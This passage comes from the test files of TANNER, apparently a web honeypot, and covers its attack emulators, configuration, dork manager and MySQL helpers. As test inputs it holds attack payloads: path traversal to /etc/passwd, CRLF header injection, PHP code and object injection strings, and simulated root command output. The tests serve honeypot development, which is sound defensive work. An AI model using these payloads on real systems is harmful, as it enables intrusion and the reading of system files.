gid=0(root)\", \"uname\": \"Linux\"}\n        for attack_param in attack_params:\n            result = self.loop.run_until_complete(self.handler.handle(attack_param, self.sess))\n            self.assertIn(assert_result[\"id\"], result[\"value\"])\n            self.assertIn(assert_result[\"uname\"], result[\"value\"])\n\n    def test_handle_invalid_commands(self):\n        attack_params = [dict(id=\"foo\", value=\"foo\")]\n\n        result = self.loop.run_until_complete(self.handler.handle(attack_params, self.sess))\n        assert_result = \"sh: foo: not found\"\n        self.assertIn(assert_result, result[\"value\"])\n\n    def tearDown(self):\n        self.loop.run_until_complete(self.handler.helper.docker_client.close())\n        self.loop.close()\n"
  },
  {
    "path": "tanner/tests/test_config.py",
    "content": "import configparser\nimport os\nimport unittest\nimport yaml\n\nfrom unittest import mock\nfrom tanner import config\n\n\nclass TestConfig(unittest.TestCase):\n    def setUp(self):\n        config.TannerConfig.config = None\n        self.d = {\n            \"DATA\": {\n                \"db_config\": \"/tmp/user_tanner/db/db_config.json\",\n                \"dorks\": \"/tmp/user_tanner/data/dorks.pickle\",\n                \"user_dorks\": \"/tmp/user_tanner/data/user_dorks.pickle\",\n            },\n            \"TANNER\": {\"host\": \"0.0.0.0\", \"port\": \"9000\"},\n            \"WEB\": {\"host\": \"0.0.0.0\", \"port\": \"9001\"},\n            \"API\": {\"host\": \"0.0.0.0\", \"port\": \"9002\"},\n            \"PHPOX\": {\"host\": \"0.0.0.0\", \"port\": \"8088\"},\n            \"REDIS\": {\"host\": \"localhost\", \"port\": \"6379\", \"poolsize\": \"80\", \"timeout\": \"5\"},\n            \"EMULATORS\": {\"root_dir\": \"/opt/tanner\"},\n            \"EMULATOR_ENABLED\": {\"sqli\": \"True\", \"rfi\": \"True\", \"lfi\": \"True\", \"xss\": \"True\", \"cmd_exec\": \"True\"},\n            \"SQLI\": {\n                \"type\": \"SQLITE\",\n                \"db_name\": \"user_tanner_db\",\n                \"host\": \"localhost\",\n                \"user\": \"user_name\",\n                \"password\": \"user_pass\",\n            },\n            \"DOCKER\": {\"host_image\": \"test_image\"},\n            \"LOGGER\": {\"log_debug\": \"/opt/tanner/tanner.log\", \"log_err\": \"/opt/tanner/tanner.err\"},\n            \"MONGO\": {\"enabled\": \"False\", \"URI\": \"mongodb://localhost\"},\n            \"LOCALLOG\": {\"enabled\": \"False\", \"PATH\": \"/tmp/user_tanner_report.json\"},\n            \"CLEANLOG\": {\"enabled\": \"False\"},\n        }\n\n        self.valid_config_path = \"/tmp/tanner_config\"\n        self.cfg = configparser.ConfigParser()\n        if not os.path.exists(self.valid_config_path):\n            for section in self.d:\n                self.cfg.add_section(section)\n                for value, data in self.d[section].items():\n                    self.cfg.set(section, value, data)\n            f = open(self.valid_config_path, \"w\")\n            self.cfg.write(f)\n        else:\n            self.cfg.read(self.valid_config_path)\n\n        self.invalid_config_path = \"/random/random_name\"\n\n    @mock.patch(\"tanner.tests.test_config.config\")\n    def test_set_config_when_file_exists(self, m):\n        config.TannerConfig.set_config(self.valid_config_path)\n        self.assertIsNotNone(config.TannerConfig.config)\n\n    def test_set_config_when_file_dont_exists(self):\n        with self.assertRaises(SystemExit):\n            config.TannerConfig.set_config(self.invalid_config_path)\n        self.assertIsNone(config.TannerConfig.config)\n\n    def test_get_when_file_exists(self):\n        config.TannerConfig.config = self.cfg\n        for section in self.d:\n            for value, assertion_data in self.d[section].items():\n\n                convert_type = type(self.d[section][value])\n                if convert_type is bool:\n                    data = config.TannerConfig.config.getboolean(section, value)\n                else:\n                    data = config.TannerConfig.config.get(section, value)\n                self.assertEqual(data, convert_type(assertion_data))\n\n    def test_get_when_file_dont_exists(self):\n        with open(\"/opt/tanner/data/config.yaml\", \"r\") as f:\n            config_template = yaml.load(f, Loader=yaml.FullLoader)\n\n        for section in config_template:\n            for value, assertion_data in config_template[section].items():\n                data = config.TannerConfig.get(section, value)\n                self.assertEqual(data, assertion_data)\n"
  },
  {
    "path": "tanner/tests/test_crlf.py",
    "content": "import asyncio\nimport unittest\n\nfrom tanner.emulators import crlf\n\n\nclass TestCRLF(unittest.TestCase):\n    def setUp(self):\n        self.loop = asyncio.new_event_loop()\n        self.handler = crlf.CRLFEmulator()\n\n    def test_scan(self):\n        attack = \"foo \\r\\n Set-Cookie : id=0\"\n        assert_result = dict(name=\"crlf\", order=2)\n        result = self.handler.scan(attack)\n        self.assertEqual(result, assert_result)\n\n    def test_handle(self):\n        attack_params = [dict(id=\"foo\", value=\"bar \\r\\n Set-Cookie : id=0\")]\n        assert_result = {\"foo\": \"bar \\r\\n Set-Cookie : id=0\"}\n        result = self.loop.run_until_complete(self.handler.handle(attack_params, None))\n        self.assertEqual(result[\"headers\"], assert_result)\n"
  },
  {
    "path": "tanner/tests/test_dorks_manager.py",
    "content": "import unittest\nimport asyncio\nimport aioredis\nimport random\nimport pickle\nimport os\nfrom unittest import mock\nfrom tanner import redis_client\nfrom tanner import config\nfrom tanner.utils.asyncmock import AsyncMock\nfrom tanner.dorks_manager import DorksManager\n\n\nclass TestDorksManager(unittest.TestCase):\n    def setUp(self):\n        self.loop = asyncio.new_event_loop()\n        self.redis_client = None\n        self.path = None\n\n        async def connect():\n            self.redis_client = await redis_client.RedisClient.get_redis_client()\n\n        self.loop.run_until_complete(connect())\n\n        # Creating pickle files\n        self.dorks_pickle = \"/tmp/test.pickle\"\n        data = \"file.php?q=par index.php?qry=param index.php/image?p=rs\"\n        dbfile = open(self.dorks_pickle, \"wb\")\n        pickle.dump(data, dbfile)\n\n        self.user_dorks_pickle = \"/tmp/user_dorks.pickle\"\n        db = open(self.user_dorks_pickle, \"wb\")\n        data = \"file1.php?q=ar index.php?q=p index.php/image2?p=r\"\n        pickle.dump(data, db)\n\n        self.handler = DorksManager()\n        self.returned_result = None\n        self.expected_result = None\n\n    def test_push_init_dorks(self):\n        self.expected_result = [\"index.php/image?p=rs\", \"index.php?qry=param\", \"file.php?q=par\"]\n\n        async def setup():\n            await self.handler.push_init_dorks(self.dorks_pickle, self.handler.dorks_key, self.redis_client)\n\n        async def test():\n            self.returned_result = await self.redis_client.smembers(self.handler.dorks_key)\n\n        self.loop.run_until_complete(setup())\n        self.loop.run_until_complete(test())\n        for data in self.returned_result:\n            assert data in self.expected_result\n\n    def test_extract_path(self):\n        self.path = \"http://example.com/index.html?page=26\"\n\n        async def test():\n            await self.handler.extract_path(self.path, self.redis_client)\n            self.returned_result = await self.redis_client.smembers(self.handler.user_dorks_key)\n\n        self.loop.run_until_complete(test())\n        self.expected_result = {\"http://example.com/index.html?page=\"}\n        self.assertEqual(self.returned_result, self.expected_result)\n\n    def test_extract_path_error(self):\n        self.path = \"/index.html?page=26\"\n        self.redis_client.sadd = AsyncMock(side_effect=aioredis.ConnectionError)\n\n        async def test():\n            await self.handler.extract_path(self.path, self.redis_client)\n\n        with self.assertLogs(level=\"ERROR\") as log:\n            self.loop.run_until_complete(test())\n            self.assertIn(\"Problem with redis connection\", log.output[0])\n\n    def test_init_dorks(self):\n        self.handler.push_init_dorks = AsyncMock()\n\n        calls = [\n            mock.call(config.TannerConfig.get(\"DATA\", \"dorks\"), mock.ANY, self.redis_client),\n            mock.call(config.TannerConfig.get(\"DATA\", \"user_dorks\"), mock.ANY, self.redis_client),\n        ]\n\n        async def test():\n            await self.handler.init_dorks(self.redis_client)\n\n        self.loop.run_until_complete(test())\n        self.handler.push_init_dorks.assert_has_calls(calls)\n\n    def test_init_dorks_none(self):\n        self.handler.dorks_key = None\n        self.handler.user_dorks_key = None\n        self.handler.push_init_dorks = AsyncMock()\n\n        async def test():\n            await self.handler.init_dorks(self.redis_client)\n\n        self.loop.run_until_complete(test())\n        self.handler.push_init_dorks.assert_not_called()\n\n    def test_choose_dorks(self):\n        self.handler.init_dorks = AsyncMock()\n        random.randint = mock.Mock(return_value=3)\n        self.handler.init_done = False\n\n        self.expected_result = [\n            \"index.php/image?p=rs\",\n            \"file.php?q=par\",\n            \"index.php?qry=param\",\n            \"index.php?q=p\",\n            \"file1.php?q=ar\",\n            \"index.php/image2?p=r\",\n        ]\n\n        async def setup():\n            await self.handler.push_init_dorks(self.dorks_pickle, self.handler.dorks_key, self.redis_client)\n            await self.handler.push_init_dorks(self.user_dorks_pickle, self.handler.user_dorks_key, self.redis_client)\n\n        self.loop.run_until_complete(setup())\n\n        async def test():\n            self.returned_result = await self.handler.choose_dorks(self.redis_client)\n\n        self.loop.run_until_complete(test())\n        self.handler.init_dorks.assert_called()\n        for data in self.returned_result:\n            assert data in self.expected_result\n\n    def tearDown(self):\n        async def close():\n            os.remove(self.dorks_pickle)\n            os.remove(self.user_dorks_pickle)\n            await self.redis_client.flushall()\n            await self.redis_client.close()\n\n        self.loop.run_until_complete(close())\n"
  },
  {
    "path": "tanner/tests/test_lfi_emulator.py",
    "content": "import unittest\nimport asyncio\nfrom tanner.emulators import lfi\n\n\nclass TestLfiEmulator(unittest.TestCase):\n    def setUp(self):\n        self.loop = asyncio.new_event_loop()\n        asyncio.set_event_loop(self.loop)\n        self.handler = lfi.LfiEmulator()\n        self.handler.helper.host_image = \"busybox:latest\"\n\n    def test_scan(self):\n        attack = \"/etc/passwd\"\n        assert_result = dict(name=\"lfi\", order=2)\n        result = self.handler.scan(attack)\n        self.assertEqual(result, assert_result)\n\n    def test_scan_negative(self):\n        attack = \"/root/flag.txt\"\n        assert_result = None\n        result = self.handler.scan(attack)\n        self.assertEqual(result, assert_result)\n\n    def test_handle_abspath_lfi(self):\n        attack_params = [dict(id=\"foo\", value=\"/etc/passwd\")]\n        result = self.loop.run_until_complete(self.handler.handle(attack_params))\n        self.assertIn(\"root:x:0:0:root:/root:/bin/sh\", result[\"value\"])\n\n    def test_handle_relative_path_lfi(self):\n        attack_params = [dict(id=\"foo\", value=\"../../../../../etc/passwd\")]\n        result = self.loop.run_until_complete(self.handler.handle(attack_params))\n        self.assertIn(\"root:x:0:0:root:/root:/bin/sh\", result[\"value\"])\n\n    def test_handle_path_null_character(self):\n        attack_params = [dict(id=\"foo\", value=\"/etc/passwd\\x00\\x00\")]\n        result = self.loop.run_until_complete(self.handler.handle(attack_params))\n        self.assertIn(\"root:x:0:0:root:/root:/bin/sh\", result[\"value\"])\n\n    def test_handle_missing_lfi(self):\n        attack_params = [dict(id=\"foo\", value=\"../../../../../etc/bar\")]\n        result = self.loop.run_until_complete(self.handler.handle(attack_params))\n        assert_result = \"No such file or directory\"\n        self.assertIn(assert_result, result[\"value\"])\n\n    def tearDown(self):\n        self.loop.run_until_complete(self.handler.helper.docker_client.close())\n        self.loop.close()\n"
  },
  {
    "path": "tanner/tests/test_mysql_db_helper.py",
    "content": "import unittest\nimport asyncio\nimport os\nimport subprocess\nfrom unittest import mock\nfrom tanner.config import TannerConfig\nfrom tanner.utils.asyncmock import AsyncMock\nfrom tanner.utils.mysql_db_helper import MySQLDBHelper\n\n\ndef mock_config(section, value):\n    config = {\"host\": \"127.0.0.1\", \"user\": \"root\", \"password\": \"user_pass\"}\n\n    return config[value]\n\n\nclass TestMySQLDBHelper(unittest.TestCase):\n    def setUp(self):\n        self.loop = asyncio.new_event_loop()\n        asyncio.set_event_loop(self.loop)\n        self.filename = \"/tmp/db/test_db\"\n        os.makedirs(os.path.dirname(self.filename), exist_ok=True)\n        open(\"/tmp/db/test_db\", \"a\").close()\n\n        self.db_name = \"test_db\"\n        self.expected_result = None\n        self.returned_result = None\n        self.result = 0\n        self.query_map = []\n        self.handler = MySQLDBHelper()\n        self.conn = None\n        self.cursor = None\n\n        with mock.patch(\"tanner.config.TannerConfig.get\", side_effect=mock_config) as m:\n\n            async def connect():\n                self.conn = await self.handler.connect_to_db()\n                self.cursor = await self.conn.cursor()\n\n                # Delete DB if exists\n                self.returned_result = await self.handler.check_db_exists(self.db_name)\n                if self.returned_result == 1:\n                    await self.handler.delete_db(self.db_name)\n\n            self.loop.run_until_complete(connect())\n\n    @mock.patch(\"tanner.config.TannerConfig.get\", side_effect=mock_config)\n    def test_check_db_exists(self, m):\n        self.expected_result = 1\n\n        async def setup():\n            await self.cursor.execute(\"CREATE DATABASE test_db\")\n            await self.conn.commit()\n\n        async def test():\n            self.returned_result = await self.handler.check_db_exists(self.db_name)\n\n        self.loop.run_until_complete(setup())\n        self.loop.run_until_complete(test())\n        self.assertEqual(self.expected_result, self.returned_result)\n\n    @mock.patch(\"tanner.config.TannerConfig.get\", side_effect=mock_config)\n    def test_check_no_db_exists(self, m):\n        self.expected_result = 0\n\n        async def test():\n            self.returned_result = await self.handler.check_db_exists(self.db_name)\n\n        self.loop.run_until_complete(test())\n        self.assertEqual(self.expected_result, self.returned_result)\n\n    @mock.patch(\"tanner.config.TannerConfig.get\", side_effect=mock_config)\n    def test_setup_db_from_config(self, m):\n        config = {\n            \"name\": \"test_db\",\n            \"tables\": [\n                {\n                    \"schema\": \"CREATE TABLE TEST (ID INTEGER PRIMARY KEY, USERNAME TEXT)\",\n                    \"table_name\": \"TEST\",\n                    \"data_tokens\": \"I,L\",\n                },\n                {\n                    \"schema\": \"CREATE TABLE CREDS (ID INTEGER PRIMARY KEY, EMAIL VARCHAR(15), PASSWORD VARCHAR(15))\",\n                    \"table_name\": \"CREDS\",\n                    \"data_tokens\": \"I,E,P\",\n                },\n            ],\n        }\n\n        def mock_read_config():\n            return config\n\n        self.expected_result = [\n            ((\"ID\", \"int(11)\", \"NO\", \"PRI\", None, \"\"), (\"USERNAME\", \"text\", \"YES\", \"\", None, \"\")),\n            (\n                (\"ID\", \"int(11)\", \"NO\", \"PRI\", None, \"\"),\n                (\"EMAIL\", \"varchar(15)\", \"YES\", \"\", None, \"\"),\n                (\"PASSWORD\", \"varchar(15)\", \"YES\", \"\", None, \"\"),\n            ),\n        ]\n\n        self.result = []\n        self.handler.read_config = mock_read_config\n        self.handler.insert_dummy_data = AsyncMock()\n\n        calls = [mock.call(\"TEST\", \"I,L\", mock.ANY), mock.call(\"CREDS\", \"I,E,P\", mock.ANY)]\n\n        async def test():\n            await self.handler.setup_db_from_config()\n\n            for table in config[\"tables\"]:\n                await self.cursor.execute(\"USE test_db\")\n                await self.cursor.execute(\"DESCRIBE {table_name}\".format(table_name=table[\"table_name\"]))\n                result = await self.cursor.fetchall()\n                self.result.append(result)\n\n        self.loop.run_until_complete(test())\n        self.assertEqual(self.result, self.expected_result)\n        self.handler.insert_dummy_data.assert_has_calls(calls, any_order=True)\n\n    @mock.patch(\"tanner.config.TannerConfig.get\", side_effect=mock_config)\n    def test_copy_db(self, m):\n        self.expected_result = 1\n        self.expected_outs = b\"\"\n\n        dump1 = (\n            \"mysqldump --compact --skip-extended-insert -h {host} -u {user} -p{password}\" \" test_db>/tmp/db/file1.sql\"\n        )\n        dump1 = dump1.format(\n            host=TannerConfig.get(\"SQLI\", \"host\"),\n            user=TannerConfig.get(\"SQLI\", \"user\"),\n            password=TannerConfig.get(\"SQLI\", \"password\"),\n        )\n        dump2 = (\n            \"mysqldump --compact --skip-extended-insert -h {host} -u {user} -p{password}\"\n            \" attacker_db>/tmp/db/file2.sql\"\n        )\n        dump2 = dump2.format(\n            host=TannerConfig.get(\"SQLI\", \"host\"),\n            user=TannerConfig.get(\"SQLI\", \"user\"),\n            password=TannerConfig.get(\"SQLI\", \"password\"),\n        )\n\n        diff_db = \"diff /tmp/db/file1.sql /tmp/db/file2.sql\"\n\n        async def setup():\n            await self.cursor.execute(\"CREATE DATABASE test_db\")\n\n        # Checking if new DB exists\n        async def test():\n            self.returned_result = await self.handler.copy_db(self.db_name, \"attacker_db\")\n            self.result = await self.handler.check_db_exists(\"attacker_db\")\n\n        self.loop.run_until_complete(setup())\n        self.loop.run_until_complete(test())\n\n        # Checking if new DB is exactly same as original DB\n        try:\n            dump_db_1 = subprocess.Popen(dump1, stdin=subprocess.PIPE, stdout=subprocess.PIPE, shell=True)\n            dump_db_2 = subprocess.Popen(dump2, stdin=subprocess.PIPE, stdout=subprocess.PIPE, shell=True)\n            diff_db = subprocess.Popen(diff_db, stdin=subprocess.PIPE, stdout=subprocess.PIPE, shell=True)\n            self.outs, errs = diff_db.communicate(timeout=15)\n            dump_db_1.wait()\n            dump_db_2.wait()\n            diff_db.wait()\n\n        except subprocess.CalledProcessError:\n            pass\n\n        self.assertEqual(self.result, self.expected_result)\n        self.assertEqual(self.outs, self.expected_outs)\n\n    @mock.patch(\"tanner.config.TannerConfig.get\", side_effect=mock_config)\n    def test_insert_dummy_data(self, m):\n        def mock_generate_dummy_data(data_tokens):\n            return [(1, \"test1\"), (2, \"test2\")], [\"I\", \"L\"]\n\n        self.handler.generate_dummy_data = mock_generate_dummy_data\n        self.expected_result = ((0, \"test0\"), (1, \"test1\"), (2, \"test2\"))\n\n        async def setup():\n            await self.cursor.execute(\"CREATE DATABASE test_db\")\n            await self.cursor.execute(\"USE {db_name}\".format(db_name=\"test_db\"))\n            await self.cursor.execute(\"CREATE TABLE IF NOT EXISTS test (id INTEGER PRIMARY KEY, username TEXT)\")\n            await self.cursor.execute('INSERT INTO test VALUES(0, \"test0\")')\n            await self.conn.commit()\n\n        async def test():\n            await self.handler.insert_dummy_data(\"test\", \"I,L\", self.cursor)\n            await self.cursor.execute(\"SELECT * FROM test;\")\n            self.returned_result = await self.cursor.fetchall()\n            await self.cursor.close()\n            self.conn.close()\n\n        self.loop.run_until_complete(setup())\n        self.loop.run_until_complete(test())\n        self.assertEqual(self.returned_result, self.expected_result)\n\n    @mock.patch(\"tanner.config.TannerConfig.get\", side_effect=mock_config)\n    def test_create_query_map(self, m):\n\n        self.expected_result_creds = {\n            \"COMMON\": [{\"name\": \"NUM\", \"type\": \"INTEGER\"}],\n            \"CREDS\": [\n                {\"name\": \"ID\", \"type\": \"INTEGER\"},\n                {\"name\": \"EMAIL\", \"type\": \"TEXT\"},\n                {\"name\": \"PASSWORD\", \"type\": \"TEXT\"},\n            ],\n        }\n\n        self.expected_result_test = {\n            \"COMMON\": [{\"name\": \"PARA\", \"type\": \"TEXT\"}],\n            \"TEST\": [{\"name\": \"ID\", \"type\": \"INTEGER\"}, {\"name\": \"USERNAME\", \"type\": \"TEXT\"}],\n        }\n\n        self.query = [\n            [\"TEST_DB\", \"CREATE TABLE TEST (ID INTEGER PRIMARY KEY, USERNAME TEXT)\", \"CREATE TABLE COMMON (PARA TEXT)\"],\n            [\n                \"CREDS_DB\",\n                \"CREATE TABLE CREDS (ID INTEGER PRIMARY KEY, EMAIL VARCHAR(15), PASSWORD VARCHAR(15))\",\n                \"CREATE TABLE COMMON (NUM INTEGER )\",\n            ],\n        ]\n\n        async def setup(data):\n            await self.cursor.execute(\"CREATE DATABASE {db_name}\".format(db_name=data[0]))\n            await self.cursor.execute(\"USE {db_name}\".format(db_name=data[0]))\n            await self.cursor.execute(data[1])\n            await self.cursor.execute(data[2])\n\n        async def test(data):\n            result = await self.handler.create_query_map(data[0])\n            self.query_map.append(result)\n            await self.handler.delete_db(data[0])\n\n        for data in self.query:\n            self.loop.run_until_complete(setup(data))\n            self.loop.run_until_complete(test(data))\n\n        self.assertEqual(self.query_map[0], self.expected_result_test)\n        self.assertEqual(self.query_map[1], self.expected_result_creds)\n"
  },
  {
    "path": "tanner/tests/test_mysqli.py",
    "content": "import unittest\nimport asyncio\nfrom unittest import mock\nfrom tanner.utils.asyncmock import AsyncMock\nfrom tanner.emulators.mysqli import MySQLIEmulator\n\n\ndef mock_config(section, value):\n    config = {\"host\": \"127.0.0.1\", \"user\": \"root\", \"password\": \"user_pass\"}\n\n    return config[value]\n\n\nclass TestMySQLi(unittest.TestCase):\n    def setUp(self):\n        self.loop = asyncio.new_event_loop()\n        asyncio.set_event_loop(self.loop)\n        self.db_name = \"test_db\"\n\n        self.handler = MySQLIEmulator(self.db_name)\n        self.conn = None\n        self.cursor = None\n        self.attacker_db = None\n        self.query_map = None\n        self.expected_result = None\n        self.returned_result = None\n\n        async def connect():\n            self.conn = await self.handler.helper.connect_to_db()\n            self.cursor = await self.conn.cursor()\n\n            self.returned_result = await self.handler.helper.check_db_exists(self.db_name)\n\n            if self.returned_result == 1:\n                await self.handler.helper.delete_db(self.db_name)\n\n            await self.cursor.execute(\"CREATE DATABASE test_db\")\n            await self.cursor.execute(\"USE {db_name}\".format(db_name=\"test_db\"))\n            await self.cursor.execute(\"CREATE TABLE IF NOT EXISTS test (id INTEGER PRIMARY KEY, username TEXT)\")\n            await self.cursor.execute('INSERT INTO test VALUES(0, \"test0\")')\n            await self.conn.commit()\n\n        self.loop.run_until_complete(connect())\n\n    @mock.patch(\"tanner.config.TannerConfig.get\", side_effect=mock_config)\n    def test_setup_db(self, m):\n        self.expected_result = {\n            \"comments\": [\n                {\"name\": \"comment_id\", \"type\": \"INTEGER\"},\n            ],\n            \"users\": [\n                {\"name\": \"id\", \"type\": \"INTEGER\"},\n            ],\n        }\n\n        self.handler.helper.create_query_map = AsyncMock(\n            return_value={\n                \"comments\": [\n                    {\"name\": \"comment_id\", \"type\": \"INTEGER\"},\n                ],\n                \"users\": [\n                    {\"name\": \"id\", \"type\": \"INTEGER\"},\n                ],\n            }\n        )\n\n        self.handler.helper = AsyncMock()\n\n        async def test():\n            self.returned_result = await self.handler.setup_db()\n\n        self.loop.run_until_complete(test())\n        self.handler.helper.create_query_map.assert_called_with(self.db_name)\n        assert not self.handler.helper.setup_db_from_config.called\n\n    @mock.patch(\"tanner.config.TannerConfig.get\", side_effect=mock_config)\n    def test_setup_db_not_exists(self, m):\n        self.expected_result = {\n            \"comments\": [\n                {\"name\": \"comment_id\", \"type\": \"INTEGER\"},\n            ],\n            \"users\": [\n                {\"name\": \"id\", \"type\": \"INTEGER\"},\n            ],\n        }\n\n        self.handler.helper.create_query_map = AsyncMock(\n            return_value={\n                \"comments\": [\n                    {\"name\": \"comment_id\", \"type\": \"INTEGER\"},\n                ],\n                \"users\": [\n                    {\"name\": \"id\", \"type\": \"INTEGER\"},\n                ],\n            }\n        )\n        self.handler.helper.setup_db_from_config = AsyncMock()\n\n        async def test():\n            await self.handler.helper.delete_db(self.db_name)\n            self.returned_result = await self.handler.setup_db()\n\n        self.loop.run_until_complete(test())\n        self.handler.helper.setup_db_from_config.assert_called_with(self.db_name)\n        self.handler.helper.create_query_map.assert_called_with(self.db_name)\n\n    @mock.patch(\"tanner.config.TannerConfig.get\", side_effect=mock_config)\n    def test_create_attacker_db(self, m):\n        session = mock.Mock()\n        session.sess_uuid.hex = \"d877339ec415484987b279469167af3d\"\n        attacker_db = \"attacker_\" + session.sess_uuid.hex\n        self.handler.helper.copy_db = AsyncMock(return_value=attacker_db)\n        self.expected_result = \"attacker_d877339ec415484987b279469167af3d\"\n\n        async def test():\n            self.returned_result = await self.handler.create_attacker_db(session)\n\n        self.loop.run_until_complete(test())\n        self.assertEqual(self.returned_result, self.expected_result)\n        session.associate_db.assert_called_with(attacker_db)\n        self.handler.helper.copy_db.assert_called_with(self.db_name, attacker_db)\n\n    @mock.patch(\"tanner.config.TannerConfig.get\", side_effect=mock_config)\n    def test_execute_query(self, m):\n\n        self.expected_result = [[[0, \"test_name\"]], [[0, \"test@domain.com\", \"test_pass\"]]]\n\n        result = []\n        self.query = [\n            [\n                \"TEST_DB\",\n                \"CREATE TABLE TEST (ID INTEGER PRIMARY KEY, USERNAME TEXT)\",\n                'INSERT INTO TEST VALUES(0, \"test_name\")',\n            ],\n            [\n                \"CREDS_DB\",\n                \"CREATE TABLE CREDS (ID INTEGER PRIMARY KEY, EMAIL VARCHAR(15), PASSWORD VARCHAR(15))\",\n                'INSERT INTO CREDS VALUES(0, \"test@domain.com\", \"test_pass\")',\n            ],\n        ]\n        test_query = [[\"TEST_DB\", \"SELECT * FROM TEST\"], [\"CREDS_DB\", \"SELECT * FROM CREDS\"]]\n\n        async def setup(data):\n            await self.cursor.execute(\"CREATE DATABASE {db_name}\".format(db_name=data[0]))\n            await self.cursor.execute(\"USE {db_name}\".format(db_name=data[0]))\n            await self.cursor.execute(data[1])\n            await self.cursor.execute(data[2])\n            await self.conn.commit()\n\n        for data in self.query:\n            self.loop.run_until_complete(setup(data))\n\n        async def test(data):\n            self.returned_result = await self.handler.execute_query(data[1], data[0])\n            result.append(self.returned_result)\n            await self.handler.helper.delete_db(data[0])\n\n        for query in test_query:\n            self.loop.run_until_complete(test(query))\n\n        self.assertEqual(self.expected_result, result)\n\n    @mock.patch(\"tanner.config.TannerConfig.get\", side_effect=mock_config)\n    def test_execute_query_error(self, m):\n        self.cursor.fetchall = mock.Mock(side_effect=Exception)\n        query = \"\"\n        self.expected_result = \"(1065, 'Query was empty')\"\n\n        async def test():\n            self.returned_result = await self.handler.execute_query(query, self.db_name)\n\n        self.loop.run_until_complete(test())\n        self.assertEqual(self.returned_result, self.expected_result)\n"
  },
  {
    "path": "tanner/tests/test_php_code_injection.py",
    "content": "import asyncio\nimport unittest\n\nfrom tanner.emulators import php_code_injection\n\n\nclass TestPHPCodeInjection(unittest.TestCase):\n    def setUp(self):\n        self.loop = asyncio.new_event_loop()\n        asyncio.set_event_loop(None)\n        self.handler = php_code_injection.PHPCodeInjection(loop=self.loop)\n\n    def test_scan(self):\n        attack = \"; phpinfo();\"\n        assert_result = dict(name=\"php_code_injection\", order=3)\n        result = self.handler.scan(attack)\n        self.assertEqual(result, assert_result)\n\n    def test_handle_status_code(self):\n        async def mock_get_injection_results(code):\n            return None\n\n        self.handler.get_injection_result = mock_get_injection_results\n        attack_params = [dict(id=\"foo\", value=\";sleep(50);\")]\n        assert_result = dict(status_code=504)\n        result = self.loop.run_until_complete(self.handler.handle(attack_params))\n        self.assertEqual(result, assert_result)\n"
  },
  {
    "path": "tanner/tests/test_php_object_injection.py",
    "content": "import asyncio\nimport unittest\n\nfrom tanner.utils.asyncmock import AsyncMock\nfrom tanner.emulators.php_object_injection import PHPObjectInjection\n\n\nclass TestPHPCodeInjection(unittest.TestCase):\n    def setUp(self):\n        self.loop = asyncio.new_event_loop()\n        asyncio.set_event_loop(None)\n        self.handler = PHPObjectInjection(loop=self.loop)\n        self.result = None\n        self.expected_result = None\n        self.returned_result = None\n\n    def test_scan(self):\n        payload = 'O:15:\"ObjectInjection\":1:{s:6:\"insert\";s:2:\"id\";}'\n\n        self.expected_result = dict(name=\"php_object_injection\", order=3)\n        self.returned_result = self.handler.scan(payload)\n        self.assertEqual(self.returned_result, self.expected_result)\n\n    def test_scan_negative(self):\n        payload = 'O:\"ObjectInjection\":1:{s:6:\"insert\";s:2:\"id\";}'\n\n        self.expected_result = None\n        self.returned_result = self.handler.scan(payload)\n        self.assertEqual(self.returned_result, self.expected_result)\n\n    def test_handle_status_code(self):\n        self.handler.get_injection_result = AsyncMock(return_value=None)\n\n        attack_params = [dict(id=\"foo\", value=\"O:15:'ObjectInjection':1:{s:6:'insert';}\")]\n        self.expected_result = dict(status_code=504)\n\n        async def test():\n\n            self.returned_result = await self.handler.handle(attack_params)\n\n        self.loop.run_until_complete(test())\n        self.assertEqual(self.returned_result, self.expected_result)\n\n    def test_handle(self):\n        attack_params = [dict(id=\"foo\", value='O:15:\"ObjectInjection\":1:{s:6:\"insert\";s:2:\"id\";}')]\n        self.handler.helper.get_result = AsyncMock(\n            return_value={\n                \"file_md5\": \"a43deb0f2d7904cbb6c27c02ed7c2593\",\n                \"stdout\": \"id=0(root) gid=0(root) groups=0(root)\",\n            }\n        )\n\n        self.expected_result = \"id=0(root) gid=0(root) groups=0(root)\"\n\n        async def test():\n\n            self.returned_result = await self.handler.handle(attack_params)\n\n        self.loop.run_until_complete(test())\n        self.assertIn(self.expected_result, self.returned_result[\"value\"])\n"
  },
  {
    "path": "tanner/tests/test_rfi_emulation.py",
    "content": "import asyncio\nimport unittest\nfrom unittest import mock\nfrom tanner.emulators import rfi\nimport yarl\n\n\nclass TestRfiEmulator(unittest.TestCase):\n    def setUp(self):\n        self.loop = asyncio.new_event_loop()\n        asyncio.set_event_loop(None)\n        self.handler = rfi.RfiEmulator(\"/tmp/\", loop=self.loop)\n\n    def test_http_download(self):\n        path = \"http://example.com\"\n        data = self.loop.run_until_complete(self.handler.download_file(path))\n        self.assertIsNotNone(data)\n\n    def test_http_download_fail(self):\n        path = \"http://foobarfvfd\"\n        filename = self.loop.run_until_complete(self.handler.download_file(path))\n        self.assertIsNone(filename)\n\n    def test_ftp_download(self):\n        self.handler.download_file_ftp = mock.MagicMock()\n        path = \"ftp://mirror.yandex.ru/archlinux/lastupdate\"\n        data = self.loop.run_until_complete(self.handler.download_file(path))\n        self.handler.download_file_ftp.assert_called_with(yarl.URL(path))\n\n    def test_ftp_download_fail(self):\n        path = \"ftp://mirror.yandex.ru/archlinux/foobar\"\n\n        with self.assertLogs():\n            self.loop.run_until_complete(self.handler.download_file(path))\n\n    def test_get_result_fail(self):\n        data = \"test data\"\n        result = self.loop.run_until_complete(self.handler.get_rfi_result(data))\n        self.assertIsNone(result)\n\n    def test_invalid_scheme(self):\n        path = \"file://mirror.yandex.ru/archlinux/foobar\"\n        data = self.loop.run_until_complete(self.handler.download_file(path))\n        self.assertIsNone(data)\n"
  },
  {
    "path": "tanner/tests/test_server.py",
